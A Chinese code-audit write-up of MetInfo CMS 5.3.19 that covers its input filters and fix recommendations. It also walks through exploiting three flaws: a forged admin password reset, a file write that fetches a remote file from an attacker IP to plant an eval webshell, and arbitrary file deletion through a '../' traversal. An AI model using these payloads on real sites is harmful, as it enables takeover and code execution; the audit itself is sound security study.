MetInfo5.3.19代码审计思路
字数 1714 2025-08-15 21:30:51
MetInfo 5.3.19 代码审计深度解析
一、审计准备工作
1. 工具准备
- PHPStudy:搭建本地测试环境
- PHPStorm(安装Xdebug插件):代码调试与分析
- Seay源码审计系统:自动化漏洞扫描
- BurpSuite:HTTP请求拦截与修改
- 米拓CMS帮助文档:https://doc.metinfo.cn/dev/basics/basics28.html
2. 关键系统常量
$_M[form]:已安全过滤的GET/POST/COOKIE表单数组- 系统要求使用
$_M[form]而非直接使用$_POST、$_GET、$_COOKIE
二、核心过滤机制分析
1. 参数过滤流程
参数处理位于include/common.inc.php:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach(
$$
_request as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
2. daddslashes()函数详解
位于include/global.fun.php的多层过滤:
-
基础过滤:
- 非数组参数:
addslashes()转义 - 数组参数:递归处理每个元素
- 非数组参数:
-
SQL注入防护:
$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
// 其他SQL关键词过滤...
- XSS防护:
$string_html = $string;
$string = strip_tags($string); // 剥离HTML/XML/PHP标签
if($string_html != $string){
$string = ''; // 过滤后内容变化则置空
}
三、数据库操作机制
1. 数据库操作类
位于include/mysql_class.php,关键方法:
get_one():执行查询query():最终执行SQL语句
2. SQL执行流程
$func = 'mysql_query';
$query = $func($sql, $this->link);
四、漏洞深度分析
1. 管理员密码重置漏洞
漏洞位置:admin/admin/getpassword.php
利用条件:
- 满足
$action='next4'且$abt_type!=1 - 构造有效的
$p参数
加密逻辑分析:
$array = explode('.', authcode($p,'DECODE', $met_webkeys));
// 要求:$array[1] == md5($array[0].'+'.$passwords)
利用步骤:
-
获取加密字符串:
- 访问
getpassword.php?action=next2&abt_type=2&admin_mobile=存在的用户名 - 需设置
met_host=公网IP并监听80端口捕获请求
- 访问
-
构造payload:
authcode("用户名.md5(用户名+密码)", 'ENCODE', $met_webkeys)
2. 后台文件写入漏洞
漏洞位置:include/export.func.php
利用条件:
- 控制
$met_host参数 - 远程服务器存在可控的
/dl/standard.php文件
利用步骤:
-
在远程服务器创建文件:
metinfo<Met><?php @eval($_REQUEST['a']);?><Met>任意内容 -
发送请求:
met_host=攻击者IP&其他必要参数 -
结果:
- 系统会将
<Met>后的内容写入dlappfile.php - 生成Webshell:
<?php @eval($_REQUEST['a']);?>
- 系统会将
3. 后台文件删除漏洞
漏洞位置:admin/app/physical/physical.php
利用条件:
- 可控制
$f_filename参数
利用方式:
f_filename=../../../config/config.php
可删除任意文件(需权限)
五、防护机制分析
1. 已防护的漏洞类型
-
SQL注入:
- 参数过滤(daddslashes)
- 关键词干扰(select -> \sel\ect)
-
XSS漏洞:
- 标签剥离(strip_tags)
- 内容变化检测
-
文件上传:
- 黑名单:php/asp/aspx/jsp等
- 白名单:
$_M['config']['met_file_format']
-
IP伪造注入:
if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/", $m_user_ip)){ $m_user_ip = $_SERVER['REMOTE_ADDR']; }
六、审计方法论总结
1. 标准审计流程
- 阅读官方文档,了解系统架构
- 分析参数传递与过滤机制
- 跟踪数据库操作流程
- 检查用户交互点(留言板、登录等)
- 验证自动化扫描结果
- 重点审计后台功能
2. 高效审计技巧
-
调试跟踪:
- 使用PHPStorm+Xdebug逐步跟踪参数传递
- 重点关注过滤函数与数据库操作的交界处
-
敏感函数定位:
- 文件操作:file_put_contents/unlink
- 代码执行:eval/assert
- 数据库操作:query/execute
-
参数来源分析:
- 区分
$_M[form](已过滤)和$_SERVER等未过滤来源
- 区分
七、修复建议
-
密码重置漏洞:
- 增加验证码机制
- 限制密码重置链接有效期
-
文件操作漏洞:
- 限制文件删除/写入目录
- 增加操作权限验证
-
增强过滤:
- 对
$_SERVER参数进行过滤 - 加强路径穿越防护(../)
- 对
-
日志监控:
- 记录敏感文件操作
- 监控异常密码重置行为
通过本审计案例,可深入理解CMS系统的安全防护机制设计思路和实际漏洞挖掘方法。